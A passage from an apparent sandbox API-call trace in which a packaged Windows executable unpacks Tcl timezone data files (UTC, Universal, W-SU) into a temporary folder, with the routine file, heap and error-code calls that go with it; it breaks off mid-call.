[0043.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\UTC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\utc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.785] GetFileType (hFile=0x10c) returned 0x1 [0043.785] htonl (hostlong=0x94000000) returned 0x94 [0043.785] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.785] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x94, lpOverlapped=0x0) returned 1 [0043.786] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.786] CloseHandle (hObject=0x10c) returned 1 [0043.786] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.786] htonl (hostlong=0x30000000) returned 0x30 [0043.786] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.787] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.787] GetFileType (hFile=0x10c) returned 0x1 [0043.787] htonl (hostlong=0xd53a5d00) returned 0x5d3ad5 [0043.787] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61ead5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.787] htonl (hostlong=0x83000000) returned 0x83 [0043.787] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x83) returned 0x55cfe0 [0043.787] htonl (hostlong=0x83000000) returned 0x83 [0043.787] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.787] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.787] htonl (hostlong=0x9a000000) returned 0x9a [0043.787] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9a) returned 0x550600 [0043.787] htonl (hostlong=0x83000000) returned 0x83 [0043.787] htonl (hostlong=0x9a000000) returned 0x9a [0043.787] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.787] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.787] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.787] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.787] CloseHandle (hObject=0x10c) returned 1 [0043.787] GetLastError () returned 0x0 [0043.787] SetLastError (dwErrCode=0x0) [0043.787] GetLastError () returned 0x0 [0043.787] SetLastError (dwErrCode=0x0) [0043.787] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.787] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.788] GetFileType (hFile=0x10c) returned 0x1 [0043.788] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.788] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.788] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.788] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.788] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.788] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.788] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.788] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.788] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.788] CloseHandle (hObject=0x10c) returned 1 [0043.788] GetLastError () returned 0x0 [0043.788] SetLastError (dwErrCode=0x0) [0043.788] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.788] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.788] GetFileType (hFile=0x10c) returned 0x1 [0043.788] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.788] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.788] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.788] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.788] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.788] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.788] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.788] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.789] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.789] CloseHandle (hObject=0x10c) returned 1 [0043.789] GetLastError () returned 0x0 [0043.789] SetLastError (dwErrCode=0x0) [0043.789] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Universal") returned 66 [0043.789] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Universal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\universal"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.789] GetLastError () returned 0x2 [0043.789] SetLastError (dwErrCode=0x2) [0043.789] GetLastError () returned 0x2 [0043.789] SetLastError (dwErrCode=0x2) [0043.789] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Universal", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Universal", lpFilePart=0x0) returned 0x41 [0043.789] GetLastError () returned 0x2 [0043.789] SetLastError (dwErrCode=0x2) [0043.789] GetLastError () returned 0x2 [0043.789] SetLastError (dwErrCode=0x2) [0043.789] GetLastError () returned 0x2 [0043.789] SetLastError (dwErrCode=0x2) [0043.789] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Universal") returned 66 [0043.789] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.789] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Universal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\universal"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.811] GetFileType (hFile=0x10c) returned 0x1 [0043.811] htonl (hostlong=0x9a000000) returned 0x9a [0043.811] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.812] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x9a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x9a, lpOverlapped=0x0) returned 1 [0043.812] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.812] CloseHandle (hObject=0x10c) returned 1 [0043.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.813] htonl (hostlong=0x30000000) returned 0x30 [0043.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.813] GetFileType (hFile=0x10c) returned 0x1 [0043.813] htonl (hostlong=0x583b5d00) returned 0x5d3b58 [0043.813] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61eb58, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.813] htonl (hostlong=0x87000000) returned 0x87 [0043.813] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0043.813] htonl (hostlong=0x87000000) returned 0x87 [0043.813] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.813] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.813] htonl (hostlong=0xa7000000) returned 0xa7 [0043.813] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa7) returned 0x544a40 [0043.813] htonl (hostlong=0x87000000) returned 0x87 [0043.813] htonl (hostlong=0xa7000000) returned 0xa7 [0043.813] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.813] CloseHandle (hObject=0x10c) returned 1 [0043.813] GetLastError () returned 0x0 [0043.813] SetLastError (dwErrCode=0x0) [0043.813] GetLastError () returned 0x0 [0043.813] SetLastError (dwErrCode=0x0) [0043.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.814] GetFileType (hFile=0x10c) returned 0x1 [0043.814] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.814] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.814] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.814] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.814] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.814] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.814] CloseHandle (hObject=0x10c) returned 1 [0043.814] GetLastError () returned 0x0 [0043.814] SetLastError (dwErrCode=0x0) [0043.814] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.814] GetFileType (hFile=0x10c) returned 0x1 [0043.814] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.814] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.814] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.814] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.814] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.815] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.815] CloseHandle (hObject=0x10c) returned 1 [0043.815] GetLastError () returned 0x0 [0043.815] SetLastError (dwErrCode=0x0) [0043.815] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\W-SU") returned 61 [0043.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\W-SU" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\w-su"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.815] GetLastError () returned 0x2 [0043.815] SetLastError (dwErrCode=0x2) [0043.815] GetLastError () returned 0x2 [0043.815] SetLastError (dwErrCode=0x2) [0043.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\W-SU", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\W-SU", lpFilePart=0x0) returned 0x3c [0043.815] GetLastError () returned 0x2 [0043.815] SetLastError (dwErrCode=0x2) [0043.815] GetLastError () returned 0x2 [0043.815] SetLastError (dwErrCode=0x2) [0043.815] GetLastError () returned 0x2 [0043.815] SetLastError (dwErrCode=0x2) [0043.815] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\W-SU") returned 61 [0043.815] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\W-SU" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\w-su"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.815] GetFileType (hFile=0x10c) returned 0x1 [0043.815] htonl (hostlong=0xa7000000) returned 0xa7 [0043.815] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.815] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xa7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xa7, lpOverlapped=0x0) returned 1 [0043.816] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.816] CloseHandle (hObject=0x10c) returned 1 [0043.816] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544a40 | out: hHeap=0x530000) returned 1 [0043.816] htonl (hostlong=0x30000000) returned 0x30 [0043.817] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.817] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.817] GetFileType (hFile=0x10c) returned 0x1 [0043.817] htonl (hostlong=0xdf3b5d00) returned 0x5d3bdf [0043.817] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61ebdf, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.817] htonl (hostlong=0xb7050000) returned 0x5b7 [0043.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5b7) returned 0x550600 [0043.817] htonl (hostlong=0xb7050000) returned 0x5b7 [0043.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.817] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.817] htonl (hostlong=0x261a0000) returned 0x1a26 [0043.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a26) returned 0x562098 [0043.817] htonl (hostlong=0xb7050000) returned 0x5b7 [0043.817] htonl (hostlong=0x261a0000) returned 0x1a26 [0043.817] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563ac8 [0043.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563ac8 | out: hHeap=0x530000) returned 1 [0043.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.817] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.817] CloseHandle (hObject=0x10c) returned 1 [0043.817] GetLastError () returned 0x0 [0043.817] SetLastError (dwErrCode=0x0) [0043.817] GetLastError () returned 0x0 [0043.817] SetLastError (dwErrCode=0x0) [0043.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.818] GetFileType (hFile=0x10c) returned 0x1 [0043.818] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.818] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.818] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.818] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.818] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.818] CloseHandle (hObject=0x10c) returned 1 [0043.818] GetLastError () returned 0x0 [0043.818] SetLastError (dwErrCode=0x0) [0043.818] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: 